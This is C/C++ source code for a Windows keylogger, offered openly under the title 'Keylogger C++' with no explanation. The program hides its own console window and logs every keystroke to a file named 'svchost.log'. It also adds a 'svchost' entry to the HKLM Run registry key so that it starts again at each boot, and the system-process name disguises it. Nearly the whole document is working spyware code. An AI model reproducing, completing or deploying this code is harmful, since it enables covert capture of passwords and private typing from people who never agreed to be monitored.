Keylogger C++

#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
	HWND stealth; /*creating stealth (window is not visible)*/
	AllocConsole();
	stealth=FindWindowA("ConsoleWindowClass",NULL);
	ShowWindow(stealth,0);

	int test,create;
	test=test_key();/*check if key is available for opening*/

	if (test==2)/*create key*/
	{
		char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
		create=create_key(path);

	}


	int t=get_keys();

	return t;
}

int get_keys(void)
{
			short character;
			  while(1)
			  {

					 for(character=8;character<=222;character++)
					 {
						 if(GetAsyncKeyState(character)==-32767)
						 {

							 FILE *file;
							 file=fopen("svchost.log","a+");
							 if(file==NULL)
							 {
									 return 1;
							 }
							 if(file!=NULL)
							 {
									 if((character>=39)&&(character<=64))
									 {
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else if((character>64)&&(character<91))
									 {
										   character+=32;
										   fputc(character,file);
										   fclose(file);
										   break;
									 }
									 else
									 {
										 switch(character)
										 {
											   case VK_SPACE:
											   fputc(' ',file);
											   fclose(file);
											   break;
											   case VK_SHIFT:
											   fputs("[SHIFT]",file);
											   fclose(file);
											   break;
											   case VK_RETURN:
											   fputs("\n[ENTER]",file);
											   fclose(file);
											   break;
											   case VK_BACK:
											   fputs("[BACKSPACE]",file);
											   fclose(file);
											   break;
											   case VK_TAB:
											   fputs("[TAB]",file);
											   fclose(file);
											   break;
											   case VK_CONTROL:
											   fputs("[CTRL]",file);
											   fclose(file);
											   break;
											   case VK_DELETE:
											   fputs("[DEL]",file);
											   fclose(file);
											   break;
											   case VK_OEM_1:
											   fputs("[;:]",file);
											   fclose(file);
											   break;
											   case VK_OEM_2:
											   fputs("[/?]",file);
											   fclose(file);
											   break;
											   case VK_OEM_3:
											   fputs("[`~]",file);
											   fclose(file);
											   break;
											   case VK_OEM_4:
											   fputs("[ [{ ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_5:
											   fputs("[\\|]",file);
											   fclose(file);
											   break;
											   case VK_OEM_6:
											   fputs("[ ]} ]",file);
											   fclose(file);
											   break;
											   case VK_OEM_7:
											   fputs("['\"]",file);
											   fclose(file);
											   break;
											   /*case VK_OEM_PLUS:
											   fputc('+',file);
											   fclose(file);
											   break;
											   case VK_OEM_COMMA:
											   fputc(',',file);
											   fclose(file);
											   break;
											   case VK_OEM_MINUS:
											   fputc('-',file);
											   fclose(file);
											   break;
											   case VK_OEM_PERIOD:
											   fputc('.',file);
											   fclose(file);
											   break;*/
											   case VK_NUMPAD0:
											   fputc('0',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD1:
											   fputc('1',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD2:
											   fputc('2',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD3:
											   fputc('3',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD4:
											   fputc('4',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD5:
											   fputc('5',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD6:
											   fputc('6',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD7:
											   fputc('7',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD8:
											   fputc('8',file);
											   fclose(file);
											   break;
											   case VK_NUMPAD9:
											   fputc('9',file);
											   fclose(file);
											   break;
											   case VK_CAPITAL:
											   fputs("[CAPS LOCK]",file);
											   fclose(file);
											   break;
											   default:
											   fclose(file);
											   break;
										}
								   }
							  }
					}
				}

			}
			return EXIT_SUCCESS;
}

int test_key(void)
{
	int check;
	HKEY hKey;
	char path[BUFSIZE];
	DWORD buf_length=BUFSIZE;
	int reg_key;

	reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
	if(reg_key!=0)
	{
		check=1;
		return check;
	}

	reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

	if((reg_key!=0)||(buf_length>BUFSIZE))
		check=2;
	if(reg_key==0)
		check=0;

	RegCloseKey(hKey);
	return check;
}

int create_key(char *path)
{
		int reg_key,check;

		HKEY hkey;

		reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
		if(reg_key==0)
		{
				RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
				check=0;
				return check;
		}
		if(reg_key!=0)
				check=1;

		return check;
}